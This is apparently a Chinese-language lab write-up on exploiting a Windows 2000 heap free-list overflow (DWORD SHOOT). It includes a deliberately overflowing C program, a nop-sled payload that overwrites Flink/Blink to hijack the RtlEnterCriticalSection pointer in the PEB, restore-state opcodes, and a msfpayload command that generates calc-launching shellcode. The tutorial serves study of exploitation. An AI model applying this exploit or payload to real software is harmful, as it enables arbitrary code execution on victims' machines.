0x000 环境

  1. 虚拟机 VirtualBox 5.0.20
  2. 系统 windows 2000 Kali linux
  3. 工具 VC++6.0 OllyDbg 1.10 汉化版 AsmToE v5.20

0x001堆溢出之空表

  1. 代码
2.  #include <stdio.h>
3.  #include <windows.h>
4.
5.  int main()
6.  {
7.      HANDLE hp;
8.      HLOCAL h1,h2,h3;
9.      char * buf;
10.
11.
12.     hp = HeapCreate(0,0x1000,0x10000);
13.
14.     __asm int 3
15.
16.     buf = (char *)HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
17.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
18.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
19.
20.     HeapFree(hp,0,h1);
21.
22.     strcpy(buf,"AAAAAAAABBBBBBBBCCCCDDDD");
23. //buf大小为8,而字符串的长度是('A'*8+'B'*8+'C'*4+'D'*4)24
24. //,这里会产生溢出
25. //其中'A'覆盖buf申请的空间,而'B'会覆盖下一个堆块的头(这里)
26.  h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT
27.   return 0;
28. } 
  1. 空表溢出原理及现象分析
    a) 编译程序,运行等等我在这里就不一一赘述了,上篇文章已经写的很明白了,溢这里主要就是讲堆出的原理和利用的方式。
    b) 首先运行上面的程序,程序崩溃,进入OD调试,这和上篇文章的操作一样,断点的位置都是一样的,转到堆上。

    c) 单步调试,直到堆块分配完毕,一共分配三块堆块(这是有原因的,首先堆是初始化的状态,所有分配的堆块都是从“尾块”分配,分配的地址是连续的,这对后期的堆溢出有很大帮助),从下图可以验证上述所说的内容,其中上面的就是三块新分配的堆块,下面的是尾块。

    d) 继续单步调试结合源代码可以看出来,将第二块的堆块释放了,他被链接到了空表free2的上了,而这块堆块正是要被溢出的堆块,(同时这里解释一下第三个堆块的作用,防止发生堆块合并,如果没有第三块,那么在第二块的释放后,第二块会和后面的堆块发生合并,变成新的“尾块”,这里虽然不会影响堆溢出,但是现象不如现在的结果明显),具体现象如下图,其中选中部分是第二堆块,红色框分别为Flink和Blink指针。

    e) 结合源代码可以看出来之后调用了strcpy函数,从分配的堆块大小可以看出发生了溢出,同时我也在旁边的位置标注了注释,可以很清楚的看出,溢出的位置和对应位置的数据,单步直到复制完毕,可以看到下图的变化,选中的部分是复制的数据,对比上面的图,可以看出来43(’C’)的位置就是Flink,而44(‘D’)就是Blink。

    f) 下面直接运行程序,程序会断在下面的位置,我在这些位置做了注释,大家可以对照着看,分析一下堆块卸载的过程,可以分析出来,在堆块卸载的过程会将节点Flink的值写入Blink所指向的地址。
  2. 总结
    通过对上面的小程序的调试和分析,我们从源代码和汇编的角度清楚的明白了空表溢出的原理及现象,并且可以知道空表堆溢出会造成一次任意地址写。

0x002 DWROD SHOOT代码植入

  1. 修改代码
    将上面的代码修改成下面这样,大家可以结合注释来看,这个程序运行之后,附加调试器,最后会断在和上面程序一样的地址,就是要将43434343 写入地址44444444,这里的地址是不访问的所以断了下来,我们可以将44444444换成程序可以写入的地址,再将43434343设置成要写入的数据(比如shellcode的地址等),就可以完成DWORD SHOOT。(其中\x90 对应的指令是nop,跳到shellcode 中就可以滑行了)
1.  #include <stdio.h>
2.  #include <windows.h>
3.
4.  char shellcode[]=
5.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"      //每行15个字节 一共304个\x90用来填充新申请的堆块,这里有个对齐
6.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
7.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
8.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
9.  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
10. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
11. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
12. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
13. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
14. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
15. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
16. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
17. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
18. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
19. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
20. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
21. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
22. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
23. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
24. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
25. "\x90\x90\x90\x90"
26. "\x41\x41\x41\x41\x41\x41\x41\x41"      //  下一个堆块的头
27. "\x43\x43\x43\x43"                      //Flink
28. "\x44\x44\x44\x44"                      //Blink
29. ;
30.
31. int main()
32. {
33.     HANDLE hp;
34.     HLOCAL h1,h2,h3;
35.     char * buf;
36.
37.
38.     hp = HeapCreate(0,0x1000,0x10000);
39.
40.     __asm int 3
41.
42.     buf = (char *)HeapAlloc(hp,HEAP_ZERO_MEMORY,300);
43.     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
44.     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
45.
46.     HeapFree(hp,0,h1);
47.
48.     memcpy(buf,shellcode,0x200); //溢出点
49.
50.     h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //DWORD SHOOT
51.
52.     return 0;
53. }
  1. 寻找DWORD SHOOT 地址
    a) 确定DWORD SHOOT目标
    《0day安全》中也说了很多的目标,我这里就选用这个函数RtlEnterCriticalSection(进入临界区的函数)为目标。
    b) 通过OD确定RtlEnterCriticalSection地址
    这里首先要了解一些知识(PEB和TEB)
    PEB:进程环境块
    TEB:线程环境块
    (这里我也只说一些相关的知识,如果想深入理解个两个结构,可以上网搜索一些相关资料)
    1) 首先和上面一样运行程序,调试,附加OD后会断下来,在寄存器窗口,可以看到FS寄存器它存储的就是TEB的地址

    2) 它在PEB偏移为0x20的位置,而PEB在TEB结构中偏移0x30的位置,我们来查看一下(在OD下面的command中输入 dd 7ffde000数据窗口就会显示对应的数据),如下图偏移0x30的值是0x7ffdf000

    3) 同上查看PEB(在command中输入dd 7ffdf000 )的结果如下图,红框的地方就是RtlEnterCriticalSection的地址,它在PEB偏移0x20的位置

    c) 总结
    至此,我们通过OD调试器找到了目标(RtlEnterCriticalSection)地址7ffdf020(当然在每个机子上地址将会不同,请大家自己动手调试),这里也记录一下 这个地址上的数据,在后面的时候会用到。
  2. 查找shellcode的地址
    因为最后shellcode 要复制到申请的第一个堆块中,所以找到第一个堆块的起始地址就行了,在我的电脑中的地址是0x00360688
  3. 再次修改代码
    将刚才得到的shellcode地址放到Flink的位置,将存放RtlEnterCriticalSection函数的地址放到Blink的位置,在将shellcode从开始第八个字节之后的任意一个字节改成”\xcc”(至于为什么是8个字节之后,一会我在后面解释),这样相当于int 3 断点,这样可以使程序断下来,便于我们观察,具体修改结果如下图。
  4. 验证DWORD SHOOT
    重新编译后再次调试程序,我这里直接F9运行,结果断了下来,在查看存放RtlEnterCriticalSection函数的地址0x7ffdf020,可以看到这个地址现在存放的就是0x00360688,就是之前Flink的值,而程序也跳的shellcode去执行了,这些都证明了DWORD SHOOT成功了,具体结果如下图。
  5. 完善生成并替换shellcode
  6. 恢复现场
    我们修改了RtlEnterCriticalSection函数的地址,这很可能影响到系统的其他程序,所以在我们运行shellcode之前应该,将之前的数据恢复,之前我们也记录了正确的RtlEnterCriticalSection函数地址我们将它恢复回去。
    我们可以使用下面三条的汇编指令实现
    mov eax,77F89103h
    mov ebx,7FFDF020h
    mov dword ptr ds:[ebx],eax
    使用AsmToE工具将汇编转换成机器码如下,
    \xB8\x03\x91\xF8\x77\xBB\x20\xF0\xFD\x7F\x89\x03
  7. 生成shellcode
    我这里使用Kali 系统的msfpayload生成了一个shellcode,命令如下:
    msfpayload windows/exec CMD=”cmd /k calc” R|msfencode -e x86/shikata_ga_nai -b “\x00” -t c
  8. 替换shellcode
    终极shellcode如下图:
  9. 注释掉断点运行结果如下图,可以看出来shellcode运行成功了,我们的攻击也成功了。

  10. 指针反射
    这里讲一下之前为什么要求shellcode从第八个字节之后,在正式开始,我们可以先看一下DWORD SHOOT 之后第一个堆块里的变化,可以看到第四个字节之后写入了新的数据并不是之前的90,这是因为DOWRD SHOOT 发生在链表卸载的第一句上,第二句会继续执行,将Blink的值写入shellcode起始位置偏移加4的位置,好在大多是情况下不会影响shellcode的正常运行。

  11. 对”指针反射”的解决
    这里也提出一个办法绕过可以使用下面的指令短跳转过这四个字节,他们的机器码为EB+偏移,shellcode修改如下图即可。

    0x003 总结
    经过这次实验,对上一节的堆结构更加深入的理解,同时对空表DWORD SHOOT 的利用有了更深入的了解,以后一定要多动手多练习,这样才能加深对知识的理解和利用,下一节我会动手多一下块表的DWORD SHOOT 的原理和利用。
    0x004 参考书籍
    [1]:《0day安全 软件漏洞分析技术 (第二版)》王清

堆溢出(二)空表DWORD SHOOT相关推荐

  1. 【缓冲区溢出】堆溢出原理

    一.操作系统中堆和栈的区别 堆内存申请,释放,操作,特点: 1. 堆内存申请环境:堆内存需要程序员在程序中申请 ,动态分配,申请的大小有程序决定. 2. 堆内存申请方法:C语言中的malloc() 函 ...

  2. 5.4 堆溢出利用(上)——DWORD SHOOT

    目录 一.预备知识 二.实验环境 三.实验代码 四.实验步骤 一.预备知识 堆管理系统的三类操作:堆块分配.堆块释放和堆快合并归根结底都是对链表的修改.堆溢出利用的精髓就是用精心构造的数据溢出下一个堆 ...

  3. 堆溢出DWORD SHOOT原理

    1.双向链表上有a.b.c一共3个连续的堆块,a.b.c三者之间的实际物理地址可能相差很大,但是绝对不会三者之间无其他字节,如果无其他字节,那表示他们三个可以合并成一个物理连接起来的大块,堆管理系统很 ...

  4. 堆溢出的DWORD Shoot核心原理-口语化

    1.双向链表上有a.b.c一共3个连续的堆块,a.b.c三者之间的实际物理地址可能相差很大,但是绝对不会三者之间无其他字节,如果无其他字节,那表示他们三个可以合并成一个物理连接起来的大块,堆管理系统很 ...

  5. malloc 结构体_二进制安全之堆溢出(系列)——堆基础 amp; 结构(二)

    哈喽啊 这里是二进制安全之堆溢出(系列)第二期"堆基础 & 结构"第二节!! 话不多说,直接上干货! 微观结构 函数执行流程 void *malloc (size_t by ...

  6. 堆溢出攻击(XP SP2 - 2003)

    微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而 ...

  7. 《0day安全》堆溢出利用(下)——代码植入

    狙击 P.E.B 中 RtlEnterCritical-Section()的函数指针 这里,我们不妨以0x7FFDF024处的RtlEnterCriticalSection()指针为目标,联系一下DW ...

  8. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  9. pwn学习总结(五) —— 堆溢出经典题型整理

    pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...

最新文章

  1. 多节锂电串联保护板ic_两节锂电池保护IC,芯片电路图如何设计
  2. avisynth_c.h:825:3: error: unknown type name ‘HMODULE’
  3. DHCP服务器功能浅析
  4. 学英语(3)---常用语英语
  5. i386和x86-64区别通俗易懂版本(转)
  6. 弹窗编辑jsp报表内数据
  7. 【前端切图】用css画一个卡通形象-小猪佩奇
  8. python cprofile_Python Profilers 分析器
  9. python数独游戏源代码_Python数独游戏源代码
  10. 渗透测试工具——Metasploit
  11. python 移动文件 覆盖_Python操作文件(删除、复制、移动...)
  12. 北京大学信科计算机学院教学计划,北京大学信息科学的技术学院.ppt
  13. C++洛谷题解(24)——P1422
  14. selenium操作浏览器
  15. 按季度求和或平均值等例子
  16. matlab怎么将jpg转化为bmp,bmp(jpg)和avi互转---matlab实现
  17. modis 通道简介
  18. Linux基础(2)/Linux 基本概念及操作
  19. winform一个小游戏,赛马
  20. android 各个版本的发布时间和信息

热门文章

  1. java自行车内走线,【骑行课堂】内走线不是噩梦:“一秒“装好内走线神器
  2. linux脚本循环创建用户,shell应用之批量添加用户实例
  3. 计算机到路由器用交叉线的好处,路由器与交换机连接-路由器和交换机之间是用交叉线还是用直通线联 – 手机爱问...
  4. LeetCode765.情侣牵手(Java)
  5. 计算机开机出现ROM,电脑无法开机并显示EXITING INTEL PXE ROM如何解决
  6. zookeeper启动报错Exiting JVM with code 3
  7. res资源文件学习之res/values/attr.xml
  8. Pandas实用的25个技巧
  9. 【anaconda】彻底解决windows下anaconda3占用C盘问题(改了envs、pkgs安装路径依旧占用C盘)
  10. Android M Android6.0 权限管理 EasyPermission Demo